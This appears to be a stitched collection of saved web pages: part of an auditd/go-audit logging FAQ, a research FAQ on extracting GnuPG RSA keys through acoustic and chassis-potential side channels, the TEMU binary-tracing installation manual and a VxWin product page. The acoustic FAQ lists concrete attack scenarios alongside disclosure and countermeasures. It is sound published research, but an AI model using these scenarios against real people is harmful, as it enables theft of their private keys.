Sysdig is also a fantastic debugging tool, and I’ve used it pretty
extensively. The main issue here is that sysdig requires a kernel module be
loaded on each machine. Sysdig Falco looks to be useful, but they prefer to
have detection running on each endpoint. As mentioned above, we prefer
centralized rules that aren’t visible to the attacker logged in to a host.

Auditd has the advantage of having been around for a very long time and living
in the mainline kernel. It is as ubiquitous a mechanism for syscall auditing
as you’ll find in Linux-land.

**_What do we do with all these alerts?_**

We send them to an Elasticsearch cluster. From there we use ElastAlert to
query our incoming data continuously for alert generation and general
monitoring. You can also use other popular large scale logging systems for
this, but \(_my opinion not the opinion of my employer disclaimer goes here_\)
I have big fundamental problems with pricing structures that incentivize you
to log less to save money.

**_How much log volume are we talking?_**

Short answer: It is highly variable.  
Long answer: It depends which syscalls you log and how many servers you have.
We log hundreds of gigabytes per day. This may sound like a lot, but as of
this writing we have 5500-ish instances streaming data constantly. You should
also consider over-provisioning your cluster to ensure that an attacker will
have a difficult time DoSing your collection infrastructure.

**_Why rsyslog?_**

We have a lot of experience with rsyslog, and it has some nice properties. We
highly recommend using version 8.20+, which has some bug fixes we contributed
back to upstream. We could have let go-audit handle reliable delivery, but the
advantages of doing so didn’t outweigh the benefit of using something that
we’ve been using successfully for years.

**_What if someone turns it off?_**

You should be using canaries to validate data flowing in from each of your
servers. Generating events that you expect to see on the other side is a
useful way to validate hosts are reporting to you. Additionally, go-audit also
has mechanisms to detect messages that were missed within a stream.

**_Thanks to:  
_**_My teammate_ _Nate Brown_ _, for making go-audit much better.  
Mozilla’s __audit-go_ _folks, for inspiring this project.  
The numerous individuals who reviewed this blog post and gave feedback.  
The __Chicago Cubs_ _, for winning the World Series._

  

# Acoustic cryptanalysis

**Created:**| _12/19/2013 11:59:28 AM_  
---|---  
**Updated:**| _12/19/2013 11:59:28 AM_  
**Author:**| __  
**Tags:**| _hardware crypto_  
  

# RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis****

Daniel Genkin|  Adi Shamir|  Eran Tromer  
---|---|---  
Technion and Tel Aviv University| Weizmann Institute of Science| Tel Aviv
University  
assisted by Lev Pachmanov and numerous others  
## Summary****

<img src='img/Temp2_463.jpg' alt='eavesdrop on computer' />

Many computers emit a high-pitched noise during operation, due to vibration in
some of their electronic components**.** These acoustic emanations are more
than a nuisance: they can convey information about the software running on the
computer, and in particular leak sensitive information about security-related
computations**.** In a preliminary presentation , we have shown that different
RSA keys induce different sound patterns, but it was not clear how to extract
individual key bits**.** The main problem was that the acoustic side channel
has a very low bandwidth \(under 20 kHz using common microphones, and a few
hundred kHz using ultrasound microphones\), many orders of magnitude below the
GHz-scale clock rates of the attacked computers**.**  
  
Here, we describe a new _acoustic cryptanalysis_ key extraction attack,
applicable to GnuPG's current implementation of RSA**.** The attack can
extract full 4096-bit RSA decryption keys from laptop computers \(of various
models\), within an hour, using the sound generated by the computer during the
decryption of some chosen ciphertexts**.** We experimentally demonstrate that
such attacks can be carried out, using either a plain mobile phone placed next
to the computer, or a more sensitive microphone placed 4 meters away**.**  
  
Beyond acoustics, we demonstrate that a similar low-bandwidth attack can be
performed by measuring the electric potential of a computer chassis**.** A
suitably-equipped attacker need merely touch the target computer with his bare
hand, or get the required leakage information from the ground wires at the
remote end of VGA, USB or Ethernet cables**.**

## Paper****

A detailed accounts of the results and their context is given in the full
version of our paper \(8MB PDF\) **.**

_  
Note: these are recent results, first published on 18 December 2013**.**
Preliminary results were announced in the Eurocrypt 2004 rump session
presentation titled "Acoustic cryptanalysis: on nosy people and noisy
machines", and are now archived **.** ___The progress since the preliminary
results is summarized inQ16 below**.**__

* * *
###  Q1: What information is leaked**?**

This depends on the specific computer hardware**.** We have tested numerous
laptops, and several desktops**.**

  * In almost all machines, it is possible to distinguish an idle CPU \(x86 "HLT"\) from a busy CPU**.**
  * On many machines, it is moreover possible to distinguish different patterns of CPU operations and different programs. 
  * Focusing on GnuPG  as a study case, on some machines we can:

  * distinguish between the acoustic signature of different RSA secret keys \(signing or decryption\), and
  * fully extract decryption keys, by measuring the sound the machine makes during decryption of chosen ciphertexts**.**

###  Q2: What is making the noise**?**

The acoustic signal of interest is generated by vibration of electronic
components \(capacitors and coils\) in the voltage regulation circuit, as it
struggles to maintain a constant voltage to the CPU despite the large
fluctuations in power consumption caused by different patterns of CPU
operations**.** The relevant signal is _not_ caused by mechanical components
such as the fan or hard disk, nor by the laptop's internal speaker**.**

###  Q3: Do you need special equipment to perform the attack**?**

It sure helps, and in the paper we describe an expensive hardware setup for
getting the best sensitivity and frequency response**.** But in some cases, a
regular mobile phone is good enough**.** We have used a mobile phone to
acoustically extract keys from a laptop at a distance of 30cm, as in the
following picture**.**

<img src='img/Temp2_464.jpg' alt='mobile phone attack' />

###  Q4: What is the acoustic attack range**?**

That depends on many factors**.** Using a sensitive parabolic microphone, we
surpassed 4 meters**.** In the following example, a parabolic microphone,
attached to a padded case of equipment \(power supply, amplifier, filters, and
a laptop running the attack code\) is extracting an RSA key from a target
laptop \(on the far side of the room\)**.**

<img src='img/Temp2_465.jpg' alt='parabolic mic attack in classroom' />

Without the ungainly parabolic dish, we achieved a range of 1 meter**.** In
the following, the target \(A\) is on the right, and the attacker is on the
left**.** Only the capsule of the microphone, marked \(B\), is sensitive to
position and orientation; the rest of the attacker's equipment can be hidden
away**.**

<img src='img/Temp2_467.jpg' alt='portable setup' />

###  Q5: What are some examples of attack scenarios**?**

<img src='img/Temp2_466.jpg' alt='TEMPEST-protected workstation' />

We discuss some prospective attacks in our paper**.** In a nutshell:

  * Install an attack app on your phone**.** Set up a meeting with your victim, and during the meeting, place your phone on the desk next to the the victim's laptop \(see Q2\)**.**
  * Break into your victim's phone, install your attack app, and wait until the victim inadvertently places his phone next to the target laptop**.**
  * Have a web page use the microphone of the the computer running the browser \(using Flash or HTML Media Capture\)**.** Use that to steal the user's GnuPG key**.**
  * Put your stash of eavesdropping bugs and laser microphones to a new use**.**
  * Send your server to a colocation facility, with a good microphone inside the box**.** Then acoustically extract keys from all nearby servers**.**
  * Get near a TEMPEST/1-92 protected machine, such as the one  pictured to the right**.** Put your microphone next to its ventilation holes and extract its supposedly-protected secrets**.**

###  Q6: What if I don't have any microphone, or the environment is too
noisy**?**

We demonstrated another low-bandwidth channel: the electric potential of the
laptop's chassis**.** In many computers this "ground" potential fluctuates
\(even when connected to a grounded power supply\) and leaks the requisite
signal**.** This can be measured in several ways, for example:

  * _Magic-touch_ attack: the attacker measures the chassis potential by merely touching the laptop chassis with his hand, while surreptitiously measuring his own body potential relative to the room's ground potential**.** \(This attack is especially effective in hot weather, since sweaty fingers offer a lower electric resistance**.**\)
  * _Far-end-of-cable_ attack: the victim plugs in some innocuous-looking VGA or Ethernet cable into his laptop**.** The attacker measures the shield electric potential on the far side of the cable \(out of sight, in some cabinet or server room\)**.**

### Q7: Can you use power analysis instead**?**

Yes, power analysis, by measuring the current on the laptop's DC power supply,
also works nicely using our low-bandwidth attack**.**

If the attacker can measure clockrate-scale \(GHz\) power leakage, then
traditional power analysis may also be very effective, and far faster**.**
However, this is foiled by the common practice of filtering out high
frequencies on the power supply**.**

###  Q8: How can a low-frequency \(kHz\) acoustic leakage provide useful
information about a much faster \(GHz\)**?**

Individual CPU operations are too fast for a microphone to pick up, but long
operations \(e**.** g., modular exponentiation in RSA\) can create a
characteristic acoustic spectral signature over many milliseconds, and these
can be detected**.** In the chosen-ciphertext key extraction attack, we
carefully craft the inputs to RSA decryption in order to maximize the
dependence of the spectral signature on the secret key bits**.**

###  Q9 How vulnerable is GnuPG now?

We have disclosed our attack to GnuPG developers under CVE-2013-4576 ,
suggested suitable countermeasures, and worked with the developers to test
them**.** New versions of GnuPG 1.x and of libgcrypt \(which underlies GnuPG
2.x\), containing these countermeasures and resisting our current key-
extraction attack, were released concurrently with the first public posting of
these results**.** Some of the effects we found \(including RSA key
distinguishability\) remain present**.**

###  Q10: How vulnerable are other algorithms and cryptographic
implementations**?**

We don't know. Our attack requires careful cryptographic analysis of the
implementation, which so far have conducted only for the GnuPG 1**.** x
implementation of RSA. Implementations using ciphertext blinding \(a common
side channel countermeasure\) appear less vulnerable**.** We have, however,
observed that GnuPG's implementation of ElGamal encryption allows acoustic key
distinguishing**.**

### Q11: Can you realistically perform the chosen-ciphertext attack on
GnuPG**?**

To apply the attack to GnuPG, we found a way to cause GnuPG to automatically
decrypt ciphertexts chosen by the attacker**.** The idea is to use encrypted
e-mail messages following the OpenPGP  and PGP/MIME **.** For example,
Enigmail  \(a popular plugin to the Thunderbird e-mail client\) automatically
decrypts incoming e-mail \(for notification purposes\) using GnuPG**.** An
attacker can e-mail suitably-crafted messages to the victims, wait until they
reach the target computer, and observe the acoustic signature of their
decryption \(as shown above\), thereby closing the adaptive attack loop**.**

###  Q12: Won't the attack be foiled by loud fan noise, or by multitasking, or
by several computers in the same room**?**

Usually not**.** The interesting acoustic signals are mostly above 10KHz,
whereas typical computer fan noise and normal room noise are concentrated at
lower frequencies and can thus be filtered out**.** In task-switching systems,
different tasks can be distinguished by their different acoustic spectral
signatures**.** Using multiple cores turns out to help the attack \(by
shifting down the signal frequencies\)**.** When several computers are
present, they can be told apart by spatial localization, or by their different
acoustic signatures \(which vary with the hardware, the component
temperatures, and other environmental conditions\)**.**

###  Q13: What countermeasures are available?

One obvious countermeasure is to use sound dampening equipment, such as
"sound-proof" boxes, that is designed to sufficiently attenuate all relevant
frequencies**.** Conversely, a sufficiently strong wide-band noise source can
mask the informative signals, though ergonomic concerns may render this
unattractive**.** Careful circuit design and high-quality electronic
components can probably reduce the emanations**.**  
  
Alternatively, one can change the cryptographic software, and employ
algorithmic techniques to reduce the usefulness of the emanations to
attacker**.** These techniques ensure the rough-scale behavior of the
algorithm is independent of the inputs it receives; they usually carry some
performance penalty, but are often already used to thwart other side-channel
attacks**.** This is what we helped implement in GnuPG \(see Q9\)**.**

###  Q14: Why software countermeasures? Isn't it the hardware's responsibility
to avoid physical leakage**?**

It is tempting to enforce proper layering, and decree that preventing physical
leakage is the responsibility of the physical hardware**.** Unfortunately,
such low-level leakage prevention is often impractical: it achieves very bad
cost vs**.** security tradeoff. First, because any leakage remnants can often
be amplified by suitable manipulation at the higher levels, as we indeed do in
our chosen-ciphertext attack**.** Second, because low-level mechanisms try to
protect all computation, even though most of it is insensitive or does not
induce easily-exploitable leakage**.** And third, because leakage is often an
inevitable side effect of essential performance-enhancing mechanisms \(e**.**
g., consider cache attacks \).  
  
Application-layer, algorithm-specific mitigation, in contrast, prevent the
\(inevitably\) leaked signal from bearing any useful information**.** It is
often cheap and effective, and most cryptographic software \(including GnuPG
and libgcrypt\) already includes various such mitigations, both through
explicit code and through choice of algorithms. In fact, the side-channel
resistance of software implementations is nowadays a major concern in choice
of cryptographic primitives, and was explicit evaluation criterion in NIST's
AES and SHA-3 competitions**.**

###  Q15: What about other acoustic attacks**?**

See the discussion and references in our paper, and the Wikipedia page on
Acoustic Cryptanalysis **.** In a nutshell:  
  
Eavesdropping on keyboard keystrokes has been often discussed; keys can be
distinguished by timing, or by their different sounds**.** While this attack
is applicable to data that is entered manually \(e**.** g**.** , passwords\),
it is not applicable to larger secret data such as RSA keys**.** Another
acoustic source is hard disk head seeks; this source does not appear very
useful in the presence of caching, delayed writes and multitasking**.**
Preceding modern computers, one may recall MI5's "ENGULF" technique
\(recounted in Peter Wright's book Spycatcher\), whereby a phone tap was used
to eavesdrop on the operation of an Egyptian embassy's Hagelin cipher machine,
thereby recovering its secret key**.** Declassified US government publications
describe "TEMPEST" acoustic leakage from mechanical and electromechanical
devices, but not mention modern electronic computers**.**

### Q16: What's new since your Eurocrypt 2004 presentation **?**

  * Full key extraction attack, exploiting deep internal details of GnuP's implementation of RSA
  * Dramatic improvement in range and applicability \(increased from 20cm with open chassis to 4m in normal operation\)
  * Much better hardware \(some self-built\), allowing longer range and better signal characterization
  * Signal processing and error correction, making it possible to perform the attack using mobile phone despite their poor microphone
  * Many more targets tested
  * Non-acoustic low-bandwidth attacks, including chassis potential analysis
  * Countermeasures implemented and tested in GnuPG \(see Q9\)
  * Detailed writeup

* * *
## Acknowledgements****

Lev Pachmanov wrote much of the software setup used in our experiments,
including custom signal acquisition programs. Avi Shtibel, Ezra Shaked and
Oded Smikt assisted in constructing and configuring the experimental
setup**.** Assa Naveh assisted in various experiments, and offered valuable
suggestions**.** Sharon Kessler provided copious editorial advice**.** We
thank Werner Koch , lead developer of GnuPG, for the prompt response to our
disclosure and the productive collaboration in adding suitable
countermeasures**.** We are indebted to Pankaj Rohatgi  for inspiring the
origin of this research, and to  Nir Yaniv  for use of the Nir Space Station
and for valuable advice on audio recording**.** National Instruments Israel
generously donated a National Instruments PCI-6052E DAQ card and a MyDAQ
device**.** Erik Olson's Baudline  signal analysis software was used for some
of the analysis**.** We thank numerous volunteers for access to test-target
machines**.**  
  
This work was sponsored by the Check Point Institute for Information Security
; by the Israeli Ministry of Science and Technology; by the Israeli Centers of
Research Excellence I-CORE program \(center 4/11\); and by NATO's Public
Diplomacy Division in the Framework of "Science for Peace"**.**

* * *
****

# TEMU installation and user manual

**Created:**| _11/24/2009 12:41:27 PM_  
---|---  
**Updated:**| _11/24/2009 12:41:48 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Exploit_  
  

#  
**TEMU installation and user manual**

### BitBlaze Team

### Nov 5th, 2009: Release 1.0 and Ubuntu 9.04  
---  
## Contents

  * 1 Introduction
  * 2 Installation
  * 3 Configuring a new VM
  * 4 Setting up TEMU network
  * 5 Taking traces
  * 6 Troubleshooting
  * 7 Acknowledgements
  * 8 Reporting Bugs

## 1 Introduction

This document is a quick start guide for setting up and running TEMU, the
dynamic tracing component of the BitBlaze Binary Analysis Framework. It
assumes that you have some familiarity with Linux. The instructions are based
on the release of TEMU shown in the header, running on a vanilla Ubuntu 9.04
distribution of Linux. We intermix instructions with explanations about
utilities to give an overview of how things work. The goal in this exercise is
to take a simple program, trace it on some input and treat its keyboard input
as symbolic. You can then use the generated trace file in the separate Vine
tutorial.

## 2 Installation

The following script shows the steps for building and installing TEMU and the
other software it depends on: \(This is also found as `docs/install-temu-
release.sh` in the TEMU source,

[code]

    #!/bin/bash
    # Instructions for installing TEMU 1.0 on Ubuntu 9.04 Linux 32-bit
    
    # Things that require root access are preceded with "sudo".
    
    # Last tested 2009-10-05
    
    # This script will build TEMU in a "$HOME/bitblaze" directory,
    # assuming that temu-1.0.tar.gz is in /tmp.
    cd ~
    mkdir bitblaze
    cd bitblaze
    
    # TEMU is based on QEMU. It's useful to have a vanilla QEMU for testing
    # and image development:
    sudo apt-get install qemu
    # Stuff needed to compile QEMU/TEMU:
    sudo apt-get build-dep qemu
    
    # The KQEMU accelerator is not required for TEMU to work, but it can
    # be useful to run VMs faster when you aren't taking traces.
    # 
    # The following commands would build a kqemu module compatible with
    # your system QEMU, but in Ubuntu 9.04 that would be too new to work
    # with TEMU.
    # sudo apt-get install kqemu-common kqemu-source
    # sudo apt-get install module-assistant
    # sudo module-assistant -t auto-install kqemu
    
    # For the BFD library:
    sudo apt-get install binutils-dev
    
    # TEMU needs GCC version 3.4 (neither 3.3 nor 4.x will work)
    sudo apt-get install gcc-3.4
    
    # Unpack source
    tar xvzf /tmp/temu-1.0.tar.gz
    
    # Build TEMU
    # You can select one of several plugins; "tracecap" provides
    # tracing functionality.
    (cd temu-1.0 && ./configure --target-list=i386-softmmu --proj-name=tracecap \
                                --cc=gcc-3.4 --prefix=`pwd`/install)
    (cd temu-1.0 && make)
    (cd temu-1.0 && make install)
    
    
[/code]

## 3 Configuring a new VM

While QEMU itself is compatible with almost any guest OS that runs on x86
hardware, TEMU requires more knowledge about the OS to bridge the semantic gap
and provide information about OS abstractions like processes. For Linux, we
embed knowledge about kernel data structures directly into TEMU; the same
approach could potentially be used for Windows, but TEMU’s current Windows
support uses an extra driver that runs within the guest. This release of TEMU
works out-of-the-box with VMs running Ubuntu Linux 9.04 32-bit. A few extra
steps are required to support Windows XP or other versions of Linux.

  * **Windows-based VMs** TEMU supports Windows XP \(we’ve tested with SP1, SP2, and SP3\), with the installation of a support driver. \(We have not tested versions prior to XP, and Windows Vista or Windows 7 are not supported.\) The driver is found in both source and binary form in the `testdrv/driver` directory of the TEMU release. To install the driver, first copy the `testdrv.sys` driver file into the `%SYSTEM32%\drivers` directory \(i.e., typically `C:\Windows\system32\drivers`\). Then, double-click the `testdrv.reg` file to copy its contents into the registry to configure the driver; it will then be loaded on the next reboot. To confirm that the driver is working correctly, look for a `guest.log` file created in the directory where you are running TEMU; it shows some of the data collected by TEMU.
  * **Linux-based VMs** Because TEMU’s Linux support requires more intimate knowledge of OS internals, it is more version-dependent than Windows support. TEMU’s `kernel_table` data structure, found in `shared/read_linux.c` in the source, contains information about the location and layout of kernel global data, and the addresses of functions whose execution to monitor; unfortunately this information is different for different kernel versions and Linux distributions. As distributed, TEMU supports the kernel from a recent version of Ubuntu Linux 9.04, as well as some older ones, but you must collect the information anew to support a new kernel or distribution version.
Most of this information \(all, for some 2.4 kernels\) can be collected
automatically using a kernel module whose source is found in the
`shared/kernelinfo` directory. There are several sample variants for different
distribution versions; `procinfo-ubuntu-hardy`, which was originally created
for Ubuntu 8.04 and also works for 9.04, would be a good starting point for
modern 2.6-based systems. Copy the module source to your guest VM, and compile
it there \(you should have the kernel header files matching the running kernel
installed\). Then, load the module using the `insmod` command, and look for
its output in the kernel’s logs \(e.g., `/var/log/kern.log`\) or the kernel
log ring buffer \(displayed by the `dmesg` command\). Then copy these entries
to `shared/read_linux.c` and recompile TEMU. For 2.6 kernels, we haven’t been
able to find an appropriate hooking function that is exported to modules, so
you’ll need to find the address of a function that is called after a new
process is created using the kernel’s symbol table \(usually kept in a file
like `/boot/System.map-2.6.28-15-generic`\), and add it as the second value in
the information structure by hand. For recent kernels, we’ve found the
function `flush_signal_handlers` works well.

After performing the above steps, you can check that things are OK by running
the `guest_ps` \(Windows\) or `linux_ps` \(Linux\) command, and verifying that
the current processes are correctly displayed; an error in the configuration
will likely cause this command to output garbage, or cause TEMU to crash/hang.

## 4 Setting up TEMU network

Running QEMU by itself should be the first step, before you try to run TEMU.
There are many platform specific tweaks that you may need in order to get QEMU
usable for your project. Though not needed for this excercise, you will often
need to set up a network inside the QEMU image that you use. You may skip this
network setup section, if you will not need this.

This document does not intend to go into great depth in setting up QEMU
itself. But we describe some mechanisms that have worked for us. You may need
a bit Googling to set this up on your specific platform and network
configuration.

  * **Method 1** \- User-level network emulation
The simplest kind of network emulation, which QEMU performs by default, uses
just user-level network primitives on the host side, and simulates a private
network for the virtual machine. This is sufficient for many utility purposes,
such as transferring files to and from the virtual machine, but it may not be
accurate enough for some kinds of malicious network use. The QEMU options for
enabling this mode explicitly are `-net nic -net user,hostname=mybox`, where
`mybox` is the hostname for the virtual DHCP server to provide to the VM.

If you want to connect to well-known services on the VM, you’ll need to
redirect them to alternate ports on the host with the `-redir` option. For
instance, to make it possible to SSH to a server on the VM, give QEMU the
option `-redir tcp:2022::22`, then tell your SSH client to connect to port
2022 on the local machine.

  * **Method 2** \- Use tap network interface.| |   
---  
|

[code]    Create a script /etc/qemu-ifup, including the following lines. Be
sure to make

    this script executable.
    #!/bin/sh
    sudo /sbin/ifconfig $1 192.168.10.1
    
    You must then setup a tap interface. This step can be skipped if you
    are willing to run QEMU as root.
    $ sudo apt-get install uml-utilities
    $ sudo /usr/sbin/tunctl -b user -t tap0
    
    Start the Windows VM. The host machine will have the IP address
    192.168.10.1, as is specified in the above script.
    $ sudo chmod 666 /dev/net/tun
    $ qemu -kernel-kqemu -snapshot -net nic,vlan=0 \
      -net tap,vlan=0,script=/etc/qemu-ifup \
      -monitor stdio /path/to/qemu/image
      
    If you don't want to type these commands each time you start TEMU,
    you can create a wrapper script which initializes the network,
    starts TEMU with desired command-line arguments, then removes the
    tap interface once TEMU exits.
    
    
[/code]  
---  
|  
---  

Once QEMU is set up and running, TEMU should run in the same way. You can run
TEMU’s `qemu` as root, just the same way as you run QEMU using the installed
`qemu` in the PREFIX directory.

## 5 Taking traces

Assuming that you have compiled TEMU and you have identified the command line
to launch your QEMU session, we can now go ahead and try out a simple example
trace. Here we demonstrate the procedure for a Ubuntu 9.04 Linux image; the
commands are mostly the same for a Windows image.

The command-line options for TEMU are mostly the same as for QEMU. Besides
whatever options are needed for your virtual machine to run correctly, the
example below adds two more. `-snapshot` tells QEMU not to write changes to
the virtual hard disk back to the disk image file unless explicitly requested,
so you don’t have to worry about messing up your VM with experiments gone
awry. `-monitor stdio` tells QEMU to put up a command-line prompt on your
terminal, which we will use to give TEMU commands.

A command line to launch TEMU looks like:

| |   
---  
|

[code]

    % cd ~/bitblaze/temu
    % ./tracecap/temu  -snapshot -monitor stdio ~/images/ubuntu904.qcow2
    
    
[/code]  
---  
|  
---  
The output on the console is:

| |   
---  
|

[code]

    QEMU 0.9.1 monitor - type 'help' for more information
    (qemu)
    
    
[/code]  
---  
|  
---  
You may also see a warning indicating that `kqemu` is disabled for one reason
or another; these may mean that your VM will run more slowly, but can
otherwise be ignored.

  1. _Generate a simple program in the QEMU image:_ In the guest Linux session, create a `foo.c` program as follows, and start it:| |   
---  
|

[code]    $ cat foo.c

    #include <stdio.h>
    
    int main(int argc, char **argv)
    {
      int x;
      scanf("%d", &x);
      if (x != 5)
          printf("Hello\n");
      return 0;
    }
    $ gcc foo.c -o foo
    $ ./foo
    
    
    
[/code]  
---  
|  
---  
  2. _Load the TEMU plugin_
At the `(qemu)` prompt, say:

| |   
---  
|

[code]    (qemu) load_plugin tracecap/tracecap.so

    Cannot determine file system type
    tracecap/tracecap.so is loaded successfully!
    (qemu) enable_emulation
    Emulation is now enabled
    
    
[/code]  
---  
|  
---  
The warning about `Cannot determine file system type` applies to functionality
we won’t be using, and can be ignored. `enable_emulation` is required to
activate any of TEMU’s per-instruction tracing hooks; without it, later steps
won’t see any of the instructions executed.

  3. _Find out the process id you the program you want to trace:_
In the `(qemu)` prompt, run the `linux_ps` command to find the process id of
the `./foo` application running in the guest Linux image.

| |   
---  
|

[code]    (qemu) linux_ps

        0  CR3=0x00000000  swapper
        1  CR3=0xC7DEA000  init
             0x08048000 -- 0x0804E000 init
             0x0804E000 -- 0x0804F000 init
             0x0804F000 -- 0x08053000 
             0x40000000 -- 0x40013000 ld-2.2.5.so
             0x40013000 -- 0x40014000 ld-2.2.5.so
             0x40022000 -- 0x40023000 
             0x42000000 -- 0x4212C000 libc-2.2.5.so
             0x4212C000 -- 0x42131000 libc-2.2.5.so
             0x42131000 -- 0x42135000 
             0xBFFFD000 -- 0xC0000000 
      .....
      958  CR3=0xC51A1000  foo
             0x08048000 -- 0x08049000 foo
             0x08049000 -- 0x0804A000 foo
             0x40000000 -- 0x40013000 ld-2.2.5.so
             0x40013000 -- 0x40014000 ld-2.2.5.so
             0x40014000 -- 0x40015000 
             0x42000000 -- 0x4212C000 libc-2.2.5.so
             0x4212C000 -- 0x42131000 libc-2.2.5.so
             0x42131000 -- 0x42135000 
             0xBFFFE000 -- 0xC0000000 
      ....
    
    
[/code]  
---  
|  
---  
The PID, here 958, is shown on the header line for the named process. The
other information isn’t relevant for what we’re doing, but if you’re curious,
the `CR3` value is a pointer to the kernel-space page table for each process,
and the remaining lines show the virtual address ranges for the process’s
various segments \(mappings\), which are either text or data segments from
executables or shared libraries, or anonymous heap or stack areas.

For a Windows image, you need to run the `guest_ps` command instead of
`linux_ps`.

  4. _Trace the process, and record the instructions it executes in a file:_
The `trace` command takes the process id and the name of a trace file to write
information into, as shown below.

| |   
---  
|

[code]    (qemu) trace 958 "/tmp/foo.trace"

    PID: 958 CR3: 0x06301000
    PROTOS_IGNOREDNS: 0, TABLE_LOOKUP: 1 TAINTED_ONLY: 0
     TRACING_KERNEL_ALL: 0 TRACING_KERNEL_TAINTED: 0 TRACING_KERNEL_PARTIAL: 0
    
    
[/code]  
---  
|  
---  
As an alternative to steps 3-4 above, you can also tell TEMU to begin tracing
a program before you’ve loaded it, with the `tracebyname` command. This
command will monitor new processes and automatically trace the next instance
of the target program. Example usage of this command is shown below.

| |   
---  
|

[code]    (qemu) tracebyname foo "/tmp/foo.trace"

    Waiting for process foo to start
    $ ./foo
    (qemu) PID: 472 CR3: 0x0a025000
    Tracing foo
    
    
[/code]  
---  
|  
---  
  5. _Specify what input to taint, and give the input:_
With the `taint_sendkey` command we can send input to the traced process, and
also mark this input as tainted. The taint tracking engine will perform
dynamic taint tracking, i.e. mark all data derived from tainted input as
tainted. If any of the operands of an executed instruction are tainted, the
result is also marked tainted. This command takes 2 arguments – the character
\(really, keyboard key\) to give as input \(`5` in the example below\) and an
identifier to identify this input in the trace \(given by “1001” in the trace;
it should not be zero\). The trace of this process will log all data read and
written at each instruction, the instruction itself, and the associated data
taint in the trace file.

| |   
---  
|

[code]    (qemu) taint_sendkey 5 1001

    Tainting keystroke: 9 00000001
    (qemu) taint_sendkey ret 1001
    Tainting keystroke: 9 00000001
    Time of first tainted data: 1197072993.761231
    (qemu) 
    
    
[/code]  
---  
|  
---  
Note that TEMU is tracking taint throughout the whole simulated machine, but
only tracing in the requested process. The `first tainted data` message refers
to the traced program, and doesn’t show up until a complete line has been
typed, because the operating system is buffering the input line before that.

  6. _Stop tracing and tainting:_
We are done with tainting and tracing, so we use the following commands to
turn off the components.

| |   
---  
|

[code]    (qemu) trace_stop

    Stop tracing process 958
    Number of instructions decoded: 5979
    Number of operands decoded: 13349
    Number of instructions written to trace: 5890
    Number of tainted instructions written to trace: 85
    Processing time: 0.464029 U: 0.444028 S: 0.020001
    Generating file: /tmp/foo.trace.functions
    (qemu) unload_plugin
    Emulation is now disabled
    protos/protos.so is unloaded!
    
    
[/code]  
---  
|  
---  

At the end, you should have a trace file generated at the file name you
specified \(`/tmp/foo.trace` in the example\). The trace has a specific binary
format which is not human-readable, but you can check that it contains some
data \(it should be between about 100k and 800k for this example\). It
contains instructions, concrete values of the operands seen in the execution
of the program, and the associated taint value.

As an aside, if you want to generate traces with network input rather than
keystrokes you can follow the same steps but with two changes. First, after
the plugin is loaded, issue the command `taint_nic 1` to tell TEMU to mark all
input received from the network card to as tainted. Second, instead of giving
`taint_sendkey`, just simply direct the input to the IP address/port of the
virtual machine. If the input causes the EIP to become tainted, TEMU will
immediately write all trace data and quit. You can use this to launch network
attacks on programs in the guest OS image.

## 6 Troubleshooting

This section describes some problems users have experienced when using TEMU,
along with the most common causes of these problems.

  1. _TEMU does not begin tracing program_
     * Did you remember to `enable_emulation` before running the program?
     * Did you enter to correct PID \(`trace` command\) or correct filename \(`trace_by_name` command\)?
     * Are you using a supported operating system? TEMU has been preconfigured for Ubuntu Linux 9.04, and requires a driver to be installed on Windows systems.
  2. _Generated trace file is empty_
     * Did you remember to run `trace_stop`?
     * Are you using the _tracecap_ plugin? The _tracecap_ can be configured to write only certain types of instructions \(for instance, tainted instructions\) to the trace file. Check the plugin settings in the main.ini file.
     * Did you load any HOOK files? Configuration settings in HOOKs may sometimes disable writing to the trace file until certain trigger conditions are met.
  3. _No tainted instructions were written to the trace file_
     * Was any tainted data accessed by the traced program?
     * Are you loading tainted data from hard drive? Caching by the OS sometimes causes data from primary hard disk to be “missed” by TEMU. Try loading the tainted data from a secondary hard disk.
  4. _Compile warnings about_ _`fastcall`_
     * Are you trying to compile with GCC 3.3? It isn’t supported.
  5. _Missing symbols starting with_ _`_sch_`_
     * These indicate a problem linking with the GNU Binutils. Make sure you have matching development and runtime versions of its libraries installed, and that `/usr/lib/libbfd.so` exists.
  6. _TEMU can’t find a BIOS image or keymap_
     * Either run `make install` to put these in the locations TEMU is expecting, or give their locations with the -L flag.
  7. _`linux_ps`_ _loops or prints garbage_
     * This can be caused by TEMU having incorrect information about your Linux kernel. Check that the version you are running is one of the already supported ones, or provide that information as described in Section 3

## 7 Acknowledgements

TEMU’s Tracecap plugin links with OpenSSL \(copyright 1998-2004 the OpenSSL
Project\), Sleuthkit \(portions copyright 1997-1999 IBM and other authors\),
XED \(copyright 2004-2009 Intel\), and llconf \(copyright 2004-2007 Oliver
Kurth\). However like TEMU itself our redistribution of that code is WITHOUT
ANY WARRANTY.

## 8 Reporting Bugs

Though we cannot give any guarantee of support for TEMU, we are interested in
hearing what you are using it for, and if you encounter any bugs or unclear
points. Please send your questions, feature suggestions, bugs \(and, if you
have them, patches\) to the bitblaze-users mailing list. Its web page is:
`http://groups.google.com/group/bitblaze-users`.

* * *
> _This document was translated from L ATEX by_ _H_ _E_ _V_ _E_ _A_ _._

# KUKA RTOS - VxWin

**Created:**| _1/5/2011 1:05:53 PM_  
---|---  
**Updated:**| _1/5/2011 1:06:19 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
|  | 
# VxWin®?  
---  
What is VxWin®?  VxWorks® from Wind River is one of the leading real-time
operating systems in the world. In numerous control or embedded solutions
VxWorks® handles the real-time tasks combined with a Windows®-PC for
visualization, database programming and/or ERP connection. **_VxWin® allows
Windows® XP\(e\)/Vista to be installed together with Wind River's VxWorks® on
the same machine while keeping its full real-time capabilities._** The dual-OS
system combining the universally known Windows® XP\(e\)/2000 communication and
graphic capabilities with the powerful VxWin® hard real-time operating system
offering many features and benefits:  
|  <img src='img/Temp2_4750.jpg' /> Functionality of RTOSWin

# VxWin® Features

  * Multitasking, intertask communication
  * Connectivity: 
    * TCP/IP
  * Optional products available e.g. 
    * Web server, Java VM, VxDCOM
  * Programming languages: 
    * C, C++, C\#, Visual Basic
  * Guaranteed response time within microseconds 
    * High resolution real-time timer
    * Granularity 0.8 microseconds.
  * Hardware access to ISA and PCI plug in boards.
  * Communication between Windows and VxWorks 
    * via TCP/IP \(virtual network\).
  * VxWorks® continues working after Windows Blue Screen
  * Numerous software packages and drivers for VxWorks® are available on the market e.g. 
    * OPC server
